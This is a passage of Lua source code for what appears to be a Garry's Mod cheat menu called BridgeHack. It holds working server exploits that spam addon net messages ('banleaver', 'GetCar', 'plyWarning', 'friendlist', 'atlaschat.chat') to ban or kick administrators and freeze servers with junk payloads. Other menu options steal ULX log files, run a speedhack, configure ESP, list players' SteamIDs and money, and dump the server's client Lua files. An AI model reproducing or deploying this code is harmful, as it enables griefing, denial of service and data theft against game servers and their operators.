3004
3005 end)
3006
3007 end):SetImage( "icon16/link_break.png" )
3008
3009
3010
3011 exploitshacks:AddOption("[NLR] [ON] Freeze Spawning",function()
3012
3013 ply:ConCommand("bh_nlr_freeze 1")
3014
3015 end):SetImage( "icon16/book_error.png" )
3016
3017
3018
3019 exploitshacks:AddOption("[NLR] [OFF] Freeze Spawning",function()
3020
3021 ply:ConCommand("bh_nlr_freeze 0")
3022
3023 end):SetImage( "icon16/book.png" )
3024
3025
3026
3027 exploitshacks:AddOption( "Steal ULX Logs ( will save to download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt )", function()
3028
3029 status("Downloading ULX LOGS")
3030
3031 if file.Exists("download/data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt", "GAME") == "false" then
3032
3033 consoleP("FILE EXISTS. REMOVE THE FILE BEFORE CONTINUEING!")
3034
3035 else
3036
3037 RequestFile(os.date( "data/" .. "ulx_logs" .. "/" .. "%m-%d-%y" .. ".txt" ))
3038
3039 chatP("Downloading ulx logs. OPENING " .. os.date("%m-%d-%y") .. " IN 15 SECONDS....")
3040
3041 timer.Simple( 15, function()
3042
3043 chatP("Opened data/ulx_logs/" .. os.date("%m-%d-%y") .. ".txt")
3044
3045 consoleP("**********************")
3046
3047 consoleP("** SUCCESS ULX DUMP **")
3048
3049 consoleP("**********************")
3050
3051 end)
3052
3053 end
3054
3055 end ):SetImage( "icon16/lock_break.png" )
3056
3057
3058
3059 exploitshacks:AddOption("[AE] KICK ADMINS+",function()
3060
3061 chatP("Kicking... (Will only work on admins+)")
3062
3063 timer.Create( "aekickdaskids", 3, 0, function()
3064
3065 for k,v in pairs(player.GetAll()) do
3066
3067 if( v:GetUserGroup() != "user" ) then
3068
3069 if( v:GetUserGroup() != "vip" ) then
3070
3071 for i=0, 700 do
3072
3073 net.Start('plyWarning')
3074
3075 net.WriteEntity(v)
3076
3077 net.WriteString('You have to select a player before doing a action.')
3078
3079 net.SendToServer()
3080
3081 end
3082
3083 consoleP('Attempting to kick '.. v:Nick().. "!")
3084
3085 end
3086
3087 end
3088
3089 end
3090
3091 end)
3092
3093 end):SetImage("icon16/wand.png")
3094
3095
3096
3097 exploitshacks:AddOption("ULX EXTENDED BAN ADMINS",function()
3098
3099 chatP("Banning...")
3100
3101 timer.Create(BridgeHack.RandomVar.."ulxextendedban",1,0,function()
3102
3103 for k,v in pairs(player.GetAll()) do
3104
3105 if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
3106
3107 if v != LocalPlayer() then
3108
3109 status("Banning.. "..v:Nick())
3110
3111 net.Start("banleaver")
3112
3113 net.WriteString(v:SteamID().."{sep}".."HaxRUs Rekt You")
3114
3115 net.SendToServer()
3116
3117 end
3118
3119 end
3120
3121 end
3122
3123 end)
3124
3125 end):SetImage("icon16/wand.png")
3126
3127
3128
3129 exploitshacks:AddOption( " [ON] ATLAS CHAT: FREEZE EVERYBODY",function()
3130
3131 chatP("Freezing everybody.. (Except you)")
3132
3133 timer.Create("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3134
3135 local trash = "";
3136
3137 for i=0, 15000 do
3138
3139 trash = trash .. string.char(math.random(32, 126));
3140
3141 end
3142
3143
3144
3145 status("Freeze wave incoming")
3146
3147 timer.Simple(1,function()
3148
3149 status("Freeze wave done")
3150
3151 end)
3152
3153
3154
3155 for i=0,3 do
3156
3157 net.Start("atlaschat.chat")
3158
3159 net.WriteString("// ".. trash)
3160
3161 net.SendToServer()
3162
3163 end
3164
3165 end)
3166
3167 end):SetImage( "icon16/lock.png" )
3168
3169
3170
3171 exploitshacks:AddOption( " [OFF] ATLAS CHAT: FREEZE EVERYBODY",function()
3172
3173 chatP("Stopping the freeze..")
3174
3175 timer.Destroy("Imakelovetou"..BridgeHack.RandomVar,"3",0, function()
3176
3177
3178
3179 end)
3180
3181 end):SetImage( "icon16/lock_open.png" )
3182
3183
3184
3185 exploitshacks:AddOption( "[ON] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3186
3187 timer.Create("spamdafukFRIENDSULX", 2, 0, function()
3188
3189 local friends = {}
3190
3191 table.insert( friends, math.random(1,9999) )
3192
3193 for i = 1,6000 do
3194
3195 net.Start("friendlist")
3196
3197 net.WriteTable(friends)
3198
3199 net.SendToServer()
3200
3201 end
3202
3203 status("PROGRESS [10000/10000]")
3204
3205 end)
3206
3207 end ):SetImage( "icon16/script_error.png" )
3208
3209
3210
3211 exploitshacks:AddOption( "[OFF] ESSENTIALS ULX SPAM FRIENDS TABLE", function()
3212
3213 timer.Destroy("spamdafukFRIENDSULX")
3214
3215 status("Stopped ULX SPAM FRIENDS")
3216
3217 end):SetImage( "icon16/script.png" )
3218
3219
3220
3221 exploitshacks:AddOption( "Ulx Extended TTT Weapon Spawn", function()
3222
3223 GiveMenu()
3224
3225 end):SetImage( "icon16/book_key.png" )
3226
3227
3228
3229 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
3230
3231 chatP("Kicking admins, Including anyone who isnt a user")
3232
3233 ply:ConCommand("bh_mx_kickadmins")
3234
3235 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
3236
3237 for k,v in ipairs(player.GetAll()) do
3238
3239 if( v:GetUserGroup() != "user" ) then
3240
3241 if v:Nick() != (ply:Nick()) then
3242
3243 for i=0, 700 do
3244
3245 net.Start( "GetCar" )
3246
3247 net.WriteEntity(v)
3248
3249 net.WriteEntity(v)
3250
3251 net.SendToServer()
3252
3253 end
3254
3255 chatP('Attempting to kick '.. v:Nick())
3256
3257 end
3258
3259 end
3260
3261 end
3262
3263 end)
3264
3265 end):SetImage( "icon16/wand.png" )
3266
3267
3268
3269 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
3270
3271 chatP("Stopping the kicks")
3272
3273 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
3274
3275 end):SetImage( "icon16/wand.png" )
3276
3277
3278
3279 local Misc = menu:AddSubMenu(" Misc ")
3280
3281
3282
3283 Misc:AddOption( "Hackable Server List",function()
3284
3285 ply:ConCommand("bh_serverlist")
3286
3287 end):SetImage( "icon16/book.png" )
3288
3289
3290
3291 Misc:AddOption( "Changelog",function()
3292
3293 ChangeLogMenu()
3294
3295 end):SetImage( "icon16/book.png" )
3296
3297
3298
3299 Misc:AddOption( "List Rank - Playername - Money",function()
3300
3301 chatP( "Check Console\n" )
3302
3303 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
3304
3305 for k,v in pairs(player.GetAll()) do
3306
3307 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
3308
3309 if v:IsAdmin() then
3310
3311 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3312
3313 else
3314
3315 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
3316
3317 end
3318
3319 end
3320
3321 end):SetImage( "icon16/text_align_center.png" )
3322
3323
3324
3325 Misc:AddOption( "Check exploits", function()
3326
3327 ply:ConCommand("bh_check")
3328
3329end ):SetImage( "icon16/book_addresses.png" )
3330
3331
3332
3333 Misc:AddOption( "ClientSide Lua Viewer",function()
3334
3335 chatP("Opening clientside lua viewer...")
3336
3337 ply:ConCommand("bh_lua")
3338
3339 end):SetImage( "icon16/application_osx_terminal.png" )
3340
3341
3342
3343 if ply:SteamID() == "STEAM_0:1:45153092" or ply:SteamID() == "STEAM_0:1:61639885" then
3344
3345 local DebugMenu = menu:AddSubMenu(" Debug Settings")
3346
3347 DebugMenu:AddOption(" Reset Default Config.", function()
3348
3349 Debug("Resetting Cheat Variables...")
3350
3351 ResetCvar("bh_menu_effects", 1)
3352
3353 ResetCvar("bh_firstload_correct", 0)
3354
3355 ResetCvar("bh_chat_status",0)
3356
3357 ResetCvar("bh_cheats_enabled_on_start", 0)
3358
3359 ResetCvar("bh_cheats_svlua_enabled_on_start", 0)
3360
3361 ResetCvar("bh_showhud", 1)
3362
3363 ResetCvar("bh_notify", 1)
3364
3365 end)
3366
3367
3368
3369 DebugMenu:AddOption(" Debug",function()
3370
3371 for k,v in pairs(player.GetAll()) do
3372
3373 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
3374
3375 end
3376
3377 end)
3378
3379 end
3380
3381
3382
3383 menu:AddSpacer()
3384
3385
3386
3387 menu:AddOption( "Config Menu", function()
3388
3389 local DermaPanel = vgui.Create( "DFrame" )
3390
3391 DermaPanel:SetPos( 100, 100 )
3392
3393 DermaPanel:SetSize( 300, 400 )
3394
3395 DermaPanel:SetTitle( " " )
3396
3397 DermaPanel:SetVisible( true )
3398
3399 DermaPanel:SetDraggable( true )
3400
3401 DermaPanel:ShowCloseButton( false )
3402
3403 function DermaPanel:Paint( w, h )
3404
3405 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
3406
3407 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
3408
3409 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
3410
3411 end
3412
3413
3414
3415 local Button = vgui.Create("DButton", DermaPanel)
3416
3417 Button:SetPos( 250, 2 )
3418
3419 Button:SetSize( 45, 19 )
3420
3421 Button:SetText( "" )
3422
3423 Button:SetTextColor( Color( 255, 255, 255) )
3424
3425 function Button:Paint( w, h )
3426
3427 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
3428
3429 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
3430
3431 end
3432
3433 Button.DoClick = function()
3434
3435 DermaPanel:Close()
3436
3437 end
3438
3439
3440
3441 DermaPanel:MakePopup()
3442
3443
3444
3445 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
3446
3447 ESPMixer:SetPos( 10,170)
3448
3449 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
3450
3451 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
3452
3453 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
3454
3455 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
3456
3457 ESPMixer:SetColor( Color(GetConVarNumber("bh_esp_infocolor_r"),GetConVarNumber("bh_esp_infocolor_g"),GetConVarNumber("bh_esp_infocolor_b")) )--Set the default color
3458
3459 daespvector = ESPMixer:GetColor()
3460
3461
3462
3463 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
3464
3465 ESPMixButton:SetPos( 5, 265 )
3466
3467 ESPMixButton:SetText( "Set ESP Color" )
3468
3469 ESPMixButton:SetSize( 120, 15 )
3470
3471 ESPMixButton.DoClick = function()
3472
3473 print(daespvector)
3474
3475 ply:ConCommand("bh_esp_infocolor_r "..daespr)
3476
3477 ply:ConCommand("bh_esp_infocolor_g "..daespg)
3478
3479 ply:ConCommand("bh_esp_infocolor_b "..daespb)
3480
3481 end
3482
3483
3484
3485 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3486
3487 EspBoxes:SetPos( 10, 25 )// Set the position
3488
3489 EspBoxes:SetValue( GetConVarNumber("bh_esp_box") )// Initial value ( will determine whether the box is ticked too )
3490
3491 EspBoxes:SetText("ESP Boxes")
3492
3493 EspBoxes:SetConVar( "bh_esp_box" )
3494
3495 EspBoxes:SizeToContents()
3496
3497
3498
3499 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3500
3501 ShowHP:SetPos( 10, 45 )// Set the position
3502
3503 ShowHP:SetValue( GetConVarNumber("bh_esp_hp") )// Initial value ( will determine whether the box is ticked too )
3504
3505 ShowHP:SetText("Show HP On ESP")
3506
3507 ShowHP:SetConVar( "bh_esp_hp" )
3508
3509 ShowHP:SizeToContents()
3510
3511
3512
3513 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3514
3515 ShowRank:SetPos( 10, 65 )// Set the position
3516
3517 ShowRank:SetValue( GetConVarNumber("bh_esp_rank") )// Initial value ( will determine whether the box is ticked too )
3518
3519 ShowRank:SetText("Show Rank On ESP")
3520
3521 ShowRank:SetConVar( "bh_esp_rank" )
3522
3523 ShowRank:SizeToContents()
3524
3525
3526
3527 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3528
3529 Rdistance:SetPos( 10, 85 )// Set the position
3530
3531 Rdistance:SetValue( GetConVarNumber("bh_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
3532
3533 Rdistance:SetText("Use a Maximum render distance")
3534
3535 Rdistance:SetConVar( "bh_renderdistance_enable" )
3536
3537 Rdistance:SizeToContents()
3538
3539
3540
3541 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3542
3543 Rdistance:SetPos( 10, 105 )// Set the position
3544
3545 Rdistance:SetValue( GetConVarNumber("bh_notify") )// Initial value ( will determine whether the box is ticked too )
3546
3547 Rdistance:SetText("Top Scrolling Message")
3548
3549 Rdistance:SetConVar( "bh_notify" )
3550
3551 Rdistance:SizeToContents()
3552
3553
3554
3555 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
3556
3557 PlaySound:SetPos( 10, 125 )// Set the position
3558
3559 PlaySound:SetValue( GetConVarNumber("bh_playsound") )// Initial value ( will determine whether the box is ticked too )
3560
3561 PlaySound:SetText("Menu sounds")
3562
3563 PlaySound:SetConVar( "bh_playsound" )
3564
3565 PlaySound:SizeToContents()
3566
3567
3568
3569 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
3570
3571 RenderDistance:SetPos( 25, 145) // Set the position
3572
3573 RenderDistance:SetSize( 280, 25 ) // Set the size
3574
3575 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
3576
3577 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
3578
3579 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
3580
3581 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
3582
3583 RenderDistance:SetConVar( "bh_esp_rdistance" ) // Changes the ConVar when you slide
3584
3585 end ):SetImage( "icon16/wrench.png" )
3586
3587
3588
3589 menu:Open()
3590
3591 end)
3592
3593
3594
3595 concommand.Add("-bh_menu", function( ply )
3596
3597 status("Menu Closed.")
3598
3599 if GetConVarNumber("bh_menu_effects") == 1 then
3600
3601 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
3602
3603 end
3604
3605 local menu = DermaMenu()
3606
3607 end)
3608
3609
3610
3611 function ESP_on( )
3612
3613 ply:ConCommand("bh_esp 1")
3614
3615 end
3616
3617
3618
3619 function ESP_off( )
3620
3621 ply:ConCommand("bh_esp 0")
3622
3623 end
3624
3625
3626
3627 function speedhack_on( )
3628
3629 ply:ConCommand("host_framerate 8;host_framerate 8")
3630
3631 status("Enabled SpeedHack")
3632
3633 end
3634
3635
3636
3637 function speedhack_off( )
3638
3639 ply:ConCommand("host_framerate 0;host_framerate 0")
3640
3641 status("Disabled SpeedHack")
3642
3643 end
3644
3645
3646
3647 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3648
3649
3650
3651/*
3652
3653[[----------------------------------------------------------------]]
3654
3655[[----------------------------------------------------------------]]
3656
3657 ____ ___ __ __
3658
3659/\ _`\ /\_ \ __ /\ \__ __ /\ \
3660
3661\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
3662
3663 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
3664
3665 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
3666
3667 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
3668
3669 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
3670
3671/\ \ __
3672
3673\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
3674
3675 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
3676
3677 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
3678
3679 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
3680
3681 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
3682
3683
3684
3685[[----------------------------------------------------------------]]
3686
3687[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
3688
3689
3690
3691local VIEWER = {}
3692
3693
3694
3695function VIEWER:Init()
3696
3697 self:SetTitle("BridgeHack Clientside Lua Viewer")
3698
3699 self:SetSize(1200, 550)
3700
3701 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
3702
3703 surface.SetDrawColor(Color(108,153,192))
3704
3705 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
3706
3707 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
3708
3709 end
3710
3711 end
3712
3713derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
3714
3715
3716
3717/*
3718
3719[[----------------------------------------------------------------]]
3720
3721[[----------------------------------------------------------------]]
3722
3723 ____
3724
3725/\ _`\
3726
3727\ \ \L\_\ __ ___ ___ __ __
3728
3729 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
3730
3731 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
3732
3733 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
3734
3735 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
3736
3737 /\___/
3738
3739 \/__/
3740
3741 ____
3742
3743/\ _`\
3744
3745\ \ \L\ \___ _____ __ __ _____
3746
3747 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
3748
3749 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
3750
3751 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
3752
3753 \/_/\/___/ \ \ \/ \/___/ \ \ \/
3754
3755 \ \_\ \ \_\
3756
3757 \/_/ \/_/
3758
3759[[----------------------------------------------------------------]]
3760
3761[[----------------------------------------------------------------]]
3762
3763*/
3764
3765
3766
3767function DrawFancyPopup(message)
3768
3769 fancyPopup = vgui.Create("DFrame")
3770
3771 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
3772
3773end
3774
3775
3776
3777concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("bh_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)